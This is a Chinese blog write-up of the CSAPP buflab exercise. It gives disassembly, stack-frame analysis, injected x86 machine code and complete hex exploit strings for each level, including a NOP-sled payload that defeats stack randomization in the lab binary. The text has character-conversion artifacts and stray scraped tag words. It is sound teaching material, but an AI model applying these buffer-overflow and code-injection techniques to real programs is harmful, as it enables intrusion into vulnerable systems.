原文地址:https://billc.io/2019/05/csapp-cachelab/html
這是 CSAPP 官網上的第 4 個實驗 buflab,也是學校要求的第三個實驗。這個實驗比上一個單純考查彙編語言使用的 Bomblab 要難許多,須要認真理解一下程序運行時對棧幀的操做。對於自學的學生,能夠前往 http://csapp.cs.cmu.edu/3e/labs.html 下載,下載後能獲得一個很詳細的 pdf 文檔,須要認真閱讀才能知道做者想讓咱們幹什麼。作這個實驗一樣也啃了好久,花了十多個小時,不過也的確是對運行時棧的理解深入了許多。git
經過閱讀官方文檔,bufbomb 在運行時會調用 getbuff 函數:github
/* Buffer size for getbuf */ #define NORMAL_BUFFER_SIZE 32 int getbuf() { char buf[NORMAL_BUFFER_SIZE]; Gets(buf); return 1; }
緩衝區大小爲32。一旦輸入的字符超出32個就會出現segmentation fault
,致使程序出現異常。而目標就是讓程序出現異常,執行一些常規之外的代碼。數組
這個實驗就是利用程序溢出的漏洞來破解幾個 level。cookie
其中文件夾下的其餘兩個二進制文件hex2raw和makecookie分別用於將十六進制的字符數據轉換成普通的字符串用於輸入,和生成一個獨一無二的cookie用於辨識做者。app
根據官方文檔,若是將答案存儲在 exploit.txt 中,使用命令wordpress
cat exploit.txt | ./hex2raw | ./bufbomb -u bill
函數
能夠直接將字符串輸入到 bomb 中驗證答案。一個更有效的方法是:post
./hex2raw < exploit.txt > exploit-raw.txt ./bufbomb -u bovik < exploit-raw.txt
文檔中特別提醒到,每個exploit.txt中的答案都應當以 0X0a 結尾,表示回車符結束輸入。ui
在開始以前,使用objdump -d bufbomb > bufbomb.s
來獲取整個程序的彙編代碼。
目標:執行 smoke(),而不是讓 getbuf() 返回 1。
void test() { int val; /* Put canary on stack to detect possible corruption */ volatile int local = uniqueval(); val = getbuf(); /* Check for corrupted stack */ if (local != uniqueval()) { printf("Sabotaged!: the stack has been corrupted\n"); } else if (val == cookie) { printf("Boom!: getbuf returned 0x%x\n", val); validate(3); } else { printf("Dud: getbuf returned 0x%x\n", val); } }
在bufboms.s
的第 363 行找到了 smoke 的地址08048c18:
再研究 test 的部分彙編代碼:
08048daa <test>: 8048daa: 55 push %ebp 8048dab: 89 e5 mov %esp,%ebp 8048dad: 53 push %ebx 8048dae: 83 ec 24 sub $0x24,%esp 8048db1: e8 da ff ff ff call 8048d90 <uniqueval> 8048db6: 89 45 f4 mov %eax,-0xc(%ebp) 8048db9: e8 36 04 00 00 call 80491f4 <getbuf> 8048dbe: 89 c3 mov %eax,%ebx 8048dc0: e8 cb ff ff ff call 8048d90 <uniqueval>
getbuff:
080491f4 <getbuf>: 80491f4: 55 push %ebp 80491f5: 89 e5 mov %esp,%ebp 80491f7: 83 ec 38 sub $0x38,%esp 80491fa: 8d 45 d8 lea -0x28(%ebp),%eax 80491fd: 89 04 24 mov %eax,(%esp) 8049200: e8 f5 fa ff ff call 8048cfa <Gets> 8049205: b8 01 00 00 00 mov $0x1,%eax 804920a: c9 leave 804920b: c3 ret
能夠看到lea把buf的指針地址(-0x28(%ebp))傳給了Gets(),0x28也就是十進制的40個字節。而ebp佔了4個字節,buf距離getbuff的返回地址還有44個字節。
返回地址 | 須要修改的地址 |
---|---|
ebp | – 佔用4字節 |
… | … |
ebp – 40 字節 | buf 數組的初始地址 |
… | … |
ebp – 0x38 | esp,棧幀首地址 |
從文檔中得知:
Gets函數不驗證是否超出了 NORMAL_BUFFER_SIZE
,因此超出字符的就會覆蓋掉內存。
那麼只要在buf開始處隨便填入44字節(0a除外,會終止輸入),而後在後面加入smoke的地址,覆蓋掉棧中的返回地址便可。
另外須要注意的是 x86 機器爲小端法機器,最低有效字節在內存的前面,因此在 exploit.txt 中填入以下答案便可:
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 8c 04 08 0a
目標:調用 fizz(val) 函數,並將本身的 cookies 傳遞爲參數。
研究 fizz 的彙編代碼:
08048c42 <fizz>: 8048c42: 55 push %ebp 8048c43: 89 e5 mov %esp,%ebp 8048c45: 83 ec 18 sub $0x18,%esp # ebp + 8 就是參數 val 8048c48: 8b 45 08 mov 0x8(%ebp),%eax 8048c4b: 3b 05 08 d1 04 08 cmp 0x804d108,%eax 8048c51: 75 26 jne 8048c79 <fizz+0x37> 8048c53: 89 44 24 08 mov %eax,0x8(%esp) 8048c57: c7 44 24 04 ee a4 04 movl $0x804a4ee,0x4(%esp) 8048c5e: 08 8048c5f: c7 04 24 01 00 00 00 movl $0x1,(%esp) 8048c66: e8 55 fd ff ff call 80489c0 <__printf_chk@plt> 8048c6b: c7 04 24 01 00 00 00 movl $0x1,(%esp) 8048c72: e8 04 07 00 00 call 804937b <validate> 8048c77: eb 18 jmp 8048c91 <fizz+0x4f> 8048c79: 89 44 24 08 mov %eax,0x8(%esp) 8048c7d: c7 44 24 04 40 a3 04 movl $0x804a340,0x4(%esp) 8048c84: 08 8048c85: c7 04 24 01 00 00 00 movl $0x1,(%esp) 8048c8c: e8 2f fd ff ff call 80489c0 <__printf_chk@plt> 8048c91: c7 04 24 00 00 00 00 movl $0x0,(%esp) 8048c98: e8 63 fc ff ff call 8048900 <exit@plt>
和第一個階段相比,除了破壞棧幀調用函數之外,還須要構造一個參數。我這裏使用的 cookies 爲 0x362d5a70。
在會變函數重可以發如今和 0x804d108 對比,推測這裏就是儲存的咱們的 cookie。打印出來後發現的確是cookie:
後面的邏輯大概就是判斷 val 和 cookie 是否相等。因此這裏就須要在棧幀構造出下列結構:
地址 | 解釋 |
---|---|
ebp + 8 字節 | val |
返回地址 | 應當爲 fizz 的首地址 |
ebp | – 佔用4字節 |
… | … |
ebp – 40 字節 | buf 數組的初始地址 |
… | … |
ebp – 0x38 | esp,棧幀首地址 |
因此這裏應該注入一個 52 字節,前 44 字節爲任意值,而後注入 4 字節,爲 fizz 函數的首地址 0x08048c42 ,接着離第一個參數開始還有 4 個字節,隨意填充,再注入 4 個字節,爲 cookies 0x362d5a70. 構造出的答案以下:
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 42 8c 04 08 00 00 00 00 70 5a 2d 36 0a
目標:含有一個 bang 函數,和一個全局變量 global_value,須要注入機器代碼,修改 global_value 爲 cookies 的值,再調用 bang 函數。
從文檔中得到的 bang 代碼以下。
int global_value = 0; void bang(int val) { if (global_value == cookie) { printf("Bang!: You set global_value to 0x%x\n", global_value); validate(2); } else printf("Misfire: global_value = 0x%x\n", global_value); exit(0); }
研究 bang 彙編語言的前幾行:
08048c9d <bang>: 8048c9d: 55 push %ebp 8048c9e: 89 e5 mov %esp,%ebp 8048ca0: 83 ec 18 sub $0x18,%esp 8048ca3: a1 00 d1 04 08 mov 0x804d100,%eax 8048ca8: 3b 05 08 d1 04 08 cmp 0x804d108,%eax 8048cae: 75 26 jne 8048cd6 <bang+0x39> 8048cb0: 89 44 24 08 mov %eax,0x8(%esp) 8048cb4: c7 44 24 04 60 a3 04 movl $0x804a360,0x4(%esp)
在這裏能夠看到程序在將 eax 的值和 0x804d100
做比較,推測 globla_value 存儲的位置就是在 0x804d100
。後面又一次出現了 0x804d108
,根據前面的分析存儲的是 cookies 的值。
因此爲了修改變量值,須要將彙編代碼注入到程序當中。文檔提示咱們不要使用 jmp 和 call,因此爲了執行 bang 函數,要將 bang 函數的地址 push 進棧中,而後使用 ret 命令。
彙編代碼以下:
# 改變 global_value movl $0x362d5a70, 0x804d100 # 將 bang 函數的首地址壓入棧 pushl $0x08048c9d ret
接下來就是將彙編語言轉換成十六進制的機器代碼了。使用gcc -m32 -c
和 objdump -d
能夠獲得轉換以後的文件:
00000000 <.text>: 0: c7 05 00 d1 04 08 70 movl $0x362d5a70,0x804d100 7: 5a 2d 36 a: 68 9d 8c 04 08 push $0x8048c9d f: c3 ret
那麼全部的字節就是 c7 05 00 d1 04 08 70 5a 2d 36 68 9d 8c 04 08 c3
。接下來回到 getbuff 的彙編代碼:
080491f4 <getbuf>: 80491f4: 55 push %ebp 80491f5: 89 e5 mov %esp,%ebp 80491f7: 83 ec 38 sub $0x38,%esp 80491fa: 8d 45 d8 lea -0x28(%ebp),%eax 80491fd: 89 04 24 mov %eax,(%esp) 8049200: e8 f5 fa ff ff call 8048cfa <Gets> 8049205: b8 01 00 00 00 mov $0x1,%eax 804920a: c9 leave 804920b: c3 ret
應當構造以下結構:
地址 | 解釋 |
---|---|
返回地址 | 應當覆蓋爲咱們輸入緩衝區的首地址 |
ebp | – 佔用4字節 |
… | … |
ebp – 40 字節 | buf 數組的初始地址,從這裏開始注入代碼 |
… | … |
ebp – 0x38 | esp,棧幀首地址 |
在程序運行到 lea 語句以後,使用 info registers
得到 eax 的地址爲 0x556830e8。注意到這裏 eax 裏的地址也是緩衝區的首地址。因此須要先在緩衝區的前面幾個字節就注入彙編代碼,而後在 44 字節以後注入緩衝區的起點地址,讓程序跳轉回來。
結合以上信息,構造下列答案:
c7 05 00 d1 04 08 70 5a 2d 36 68 9d 8c 04 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 30 68 55 0a
成功經過。
目標:這個 Level 要求咱們注入一段可以修改 getbuf 返回值的代碼,返回值從 1 改爲 cookie 值,此外還須要還原全部破壞,繼續運行 test 的剩下部分。
一樣回到 getbuff 的彙編代碼:
080491f4 <getbuf>: 80491f4: 55 push %ebp 80491f5: 89 e5 mov %esp,%ebp 80491f7: 83 ec 38 sub $0x38,%esp 80491fa: 8d 45 d8 lea -0x28(%ebp),%eax 80491fd: 89 04 24 mov %eax,(%esp) 8049200: e8 f5 fa ff ff call 8048cfa <Gets> 8049205: b8 01 00 00 00 mov $0x1,%eax 804920a: c9 leave 804920b: c3 ret
注意到在 Gets 以後,eax 會被修改成 1,因此在正常狀況下函數總會返回 1。而爲了改變這一行須要咱們手動修改 eax 爲 coockie,因此須要注入一段代碼,首先手動設置 eax 爲 cookie,而後將返回地址設置爲 test 在調用了 getbuf 以後的下一行 0x08048dbe
結合 test 的前幾行代碼:
08048daa <test>: 8048daa: 55 push %ebp 8048dab: 89 e5 mov %esp,%ebp 8048dad: 53 push %ebx 8048dae: 83 ec 24 sub $0x24,%esp 8048db1: e8 da ff ff ff call 8048d90 <uniqueval> 8048db6: 89 45 f4 mov %eax,-0xc(%ebp) 8048db9: e8 36 04 00 00 call 80491f4 <getbuf> 8048dbe: 89 c3 mov %eax,%ebx 8048dc0: e8 cb ff ff ff call 8048d90 <uniqueval>
因此應當構造 Gets 的棧幀以下:
地址 | 解釋 |
---|---|
返回地址 | 設置成緩衝區的首地址 |
ebp | 佔用4字節 |
… | … |
ebp – 40 字節 | buf 數組的初始地址,從這裏開始注入修改 eax 的代碼 |
… | … |
ebp – 0x38 | esp,棧幀首地址 |
在最開始,一樣須要注入一句彙編語句:
movl $0x362d5a70, %eax push $0x0804920a ret
使用gcc -m32 -c
和 objdump -d
能夠獲得機器代碼:
00000000 <.text>: 0: b8 70 5a 2d 36 mov $0x362d5a70,%eax 5: 68 be 8d 04 08 push $0x8048dbe a: c3 ret
獲得須要注入的機器代碼:b8 70 5a 2d 36 68 be 8d 04 08 c3
爲了防止對棧的破壞,%ebp 是被調用者保存寄存器,是 test 在調用 getbuf 以後,getbuf 首先就就壓進了棧幀裏。同時爲了使程序繼續運行,須要保證 ebp 不被破壞。使用 gdb,在 getbuf 的第一行 0x080491f4
處打下斷點,研究此時 %ebp 的值。
獲得 ebp 的值是 0x55683140
。因此須要注入的時候在40 – 44 字節注入保存好的 ebp 值,能夠防止 ebp 的值被破壞。
總的邏輯就是先注入一段能夠修改 eax 信息,並將 test 調用完 getbuf 以後的下一句代碼 push 進棧幀的機器代碼,接着在後面補充原先的寄存器狀態,最後在將返回地址設置爲緩衝區的開頭部分,執行已經注入的代碼。
結合以上信息構造答案:
b8 70 5a 2d 36 68 be 8d 04 08 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 31 68 55 e8 30 68 55 0a
目標:使用 -n
命令運行 bufbomb,程序會開啓棧隨機化來組織攻擊代碼。須要對抗棧隨機化,實現把 getbufn 的返回值修改爲 cookie 值並避免對棧的破壞。
和前面不一樣的是,這一個階段因爲使用的是 getbufn 和 testn 函數,而且須要將一個相同的字符串輸入五次。因此須要使用命令
cat exploit.txt | ./hex2raw -n | ./bufbomb -n -u bill
來輸入字符。同時,文檔也指出在 getbufn 中有#define KABOOM_BUFFER_SIZE 512
,因此緩衝區大小爲 512.
此次研究 getbufn 的彙編代碼:
(gdb) disas Dump of assembler code for function getbufn: 0x0804920c <+0>: push %ebp 0x0804920d <+1>: mov %esp,%ebp # esp 減去了 536 個字節 0x0804920f <+3>: sub $0x218,%esp # buf 的首地址空間離 ebp 有 520 個字節 => 0x08049215 <+9>: lea -0x208(%ebp),%eax 0x0804921b <+15>: mov %eax,(%esp) 0x0804921e <+18>: call 0x8048cfa <Gets> 0x08049223 <+23>: mov $0x1,%eax 0x08049228 <+28>: leave 0x08049229 <+29>: ret End of assembler dump.
在這一階段,getbufn 會調用 5 次,每次的儲存的 ebp 都不同,官方文檔表示這個差值會在 +- 240的樣子:
接下來使用 gdb,在 getbufn 打下斷點,連續 5 次查看 %ebp 的值,能夠獲得這五次 ebp 的值分別是在:
No | p/x $ebp | p/x $ebp – 0x208 |
---|---|---|
1 | 0x55683110 | 0x55682f08 |
2 | 0x556830b0 | 0x55682ea8 |
3 | 0x55683100 | 0x55682ef8 |
4 | 0x55683110 | 0x55682f08 |
5 | 0x55683180 | 0x55682f78 |
對應的,buf 的起始地址就是每一次記的 ebp 減去 208,也就是 520 字節。
因此每一次的地址是沒法確認的。英文文檔中介紹了可使用 nop sled
的方法來解決這一問題。參考 CSAPP 教材中的介紹:
因此若是在注入的攻擊代碼的前面所有填充爲 nop 指令(nop 指令的機器代碼爲 0x90),只要最後的返回地址落在了這一大堆 nop 指令中的任意一個,程序就會一直 nop 下去,直到運行到咱們注入的彙編代碼,而不會由於跳轉到了咱們注入到的有效代碼中間某個位置而出現意想不到的結果。
所以,在注入代碼的時候,有效的機器代碼應當儘量地日後放,在前面都填上 nop,也就是 0x90。
接下來須要處理的問題是注入並覆蓋 ebp 後,把正確的 esp 還原回去。研究 testn 的部分彙編代碼:
Dump of assembler code for function testn: 0x08048e26 <+0>: push %ebp 0x08048e27 <+1>: mov %esp,%ebp 0x08048e29 <+3>: push %ebx 0x08048e2a <+4>: sub $0x24,%esp 0x08048e2d <+7>: call 0x8048d90 <uniqueval> 0x08048e32 <+12>: mov %eax,-0xc(%ebp) 0x08048e35 <+15>: call 0x804920c <getbufn> 0x08048e3a <+20>: mov %eax,%ebx 0x08048e3c <+22>: call 0x8048d90 <uniqueval>
在每一次調用了 getbufn 以後,ebp 的值將會被 push 進去。這個 ebp 值是等於 testn 被調用的時候 esp 存儲的值的。esp 先因爲push ebx而減去了4,再手動減去了0x24,因此這個時候 exp + 0x28 的值就是傳入了 getbufn 開始的時候 ebp 的值。
因此構造出來的彙編代碼以下:
lea 0x28(%esp), %ebp mov $0x362d5a70, %eax push $0x08048e3a ret
獲得機器代碼:
00000000 <.text>: 0: 8d 6c 24 28 lea 0x28(%esp),%ebp 4: b8 70 5a 2d 36 mov $0x362d5a70,%eax 9: 68 3a 8e 04 08 push $0x8048e3a e: c3 ret
整理得 8d 6c 24 28 b8 70 5a 2d 36 68 3a 8e 04 08 c3
根據以上分析應構造的棧幀結構以下:
地址 | 解釋 |
---|---|
返回地址 | 設置成幾個緩衝區首地址的最小值,而後使用nop sled運行下去 |
ebp | 佔用4字節,會被破壞,因此要還原 |
… | … |
ebp – 520 字節 | buf 數組的初始地址,從這裏開始注入代碼 |
… | … |
ebp – 0x218 | esp,棧幀首地址 |
結合獲得的 5 次 buf 首地址,應該讓程序跳轉到地址最高的一次,而後一路 nop sled。最大的地址爲 0x55682f78
,應當填入第 524 字節。因此構造答案以下:
/* 505 字節的 nop */ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 /* 注入的代碼 */ 8d 6c 24 28 b8 70 5a 2d 36 68 3a 8e 04 08 c3 /* 覆蓋 ebp */ 00 00 00 00 /* 破壞返回地址 */ 78 2f 68 55
經驗證五次結果均知足要求。All done.
太可怕了,寫完這個又是凌晨三點了。
我愈發開始敬佩這些實驗的做者,CMU的計算機不愧是地球第一。然而立刻又要開始啃下一個實驗了。不愧是華師軟院,一禿再禿,一禿到底。
因爲實在是懶得在 wordpress 上排版,這裏的正文部分是直接複製的我 GitHub 裏的文件。若是不幸圖片加載出現了問題,這裏應該有排版良好的實驗報告:GitHub 傳送門